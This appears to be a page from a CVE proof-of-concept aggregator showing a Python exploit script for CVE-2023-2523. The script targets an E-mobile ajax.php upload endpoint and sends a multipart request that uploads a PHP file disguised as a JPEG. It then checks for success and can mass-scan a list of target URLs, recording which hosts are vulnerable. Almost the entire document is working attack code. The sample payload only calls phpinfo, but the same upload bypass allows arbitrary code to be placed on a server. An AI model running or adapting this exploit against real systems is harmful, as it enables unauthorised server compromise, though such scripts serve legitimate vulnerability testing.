4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2023-2523.py PY
import requests
import argparse


def Banner():
    banner = """                                           
      ______     _______     ____   ___ ____  _____      ____  ____ ____  _
 / ___\ \   / / ____|   |___ \ / _ \___ \|___ /     |___ \| ___|___ \|___ / 
| |    \ \ / /|  _| _____ __) | | | |__) | |_ \ _____ __) |___ \ __) | |_ \ 
| |___  \ V / | |__|_____/ __/| |_| / __/ ___) |_____/ __/ ___) / __/ ___) |
 \____|  \_/  |_____|   |_____|\___/_____|____/     |_____|____/_____|____/ 
                                                                                 
                                         
    Usage:python3  CVE-2023-2523.py -u https://127.0.0.1:8080
    Usage:python3  CVE-2023-2523.py -f urls.txt 
    
        """
    print(banner)

def exploit_target(url, result_file):
    path = "/E-mobile/App/Ajax/ajax.php?action=mobile_upload_save"
    full_url = url + path

    headers = {
        "Cache-Control": "max-age=0",
        "Upgrade-Insecure-Requests": "1",
        "Origin": "null",
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/95.0.4638.69 Safari/537.36",
        "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
        "Accept-Encoding": "gzip, deflate",
        "Accept-Language": "en-US,en;q=0.9,zh-CN;q=0.8,zh;q=0.7",
        "Connection": "close",
        "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundarydRVCGWq4Cx3Sq6tt"
    }

    data = (
        "------WebKitFormBoundarydRVCGWq4Cx3Sq6tt\r\n"
        "Content-Disposition: form-data; name=\"upload_quwan\"; filename=\"test.php.\"\r\n"
        "Content-Type: image/jpeg\r\n"
        "\r\n"
        "<?php phpinfo();?>\r\n"
        "------WebKitFormBoundarydRVCGWq4Cx3Sq6tt\r\n"
        "Content-Disposition: form-data; name=\"file\"; filename=\"\"\r\n"
        "Content-Type: application/octet-stream\r\n"
        "\r\n"
        "\r\n"
        "------WebKitFormBoundarydRVCGWq4Cx3Sq6tt--"
    )

    response = requests.post(full_url, headers=headers, data=data)

    if response.status_code == 200 and "php" in response.text:
        print(url + "[+] 漏洞存在,请根据输出结果,拼接出 phpinfo 的访问路径:")
        print(response.text)
        print("地址拼接举例::https://127.0.0.1:8080/attachment/1329245871/test.php")
        result_file.write(f"[+] 漏洞存在 - {url}\n")
        result_file.write(response.text)  # 将响应内容写入结果文件
    else:
        print("[-] 漏洞不存在")

def main():
    parser = argparse.ArgumentParser(description="CVE-2023-2523 检测工具 by 冰糖葫芦(脚本使用phpinfo文件上传)")
    parser.add_argument("-u", "--target", help="单个目标URL")
    parser.add_argument("-f", "--file", help="包含多个目标URL的文件")
    args = parser.parse_args()

    if args.target:
        target_urls = [args.target]
    elif args.file:
        with open(args.file, "r") as f:
            target_urls = f.read().splitlines()
    else:
        print("请使用 -u 指定目标 或 -f 指定目标文件")
        return

    result_file = open("cve-2023-2523-result.txt", "a")

    for url in target_urls:
        exploit_target(url, result_file)

    result_file.close()

if __name__ == "__main__":
    Banner()
    main()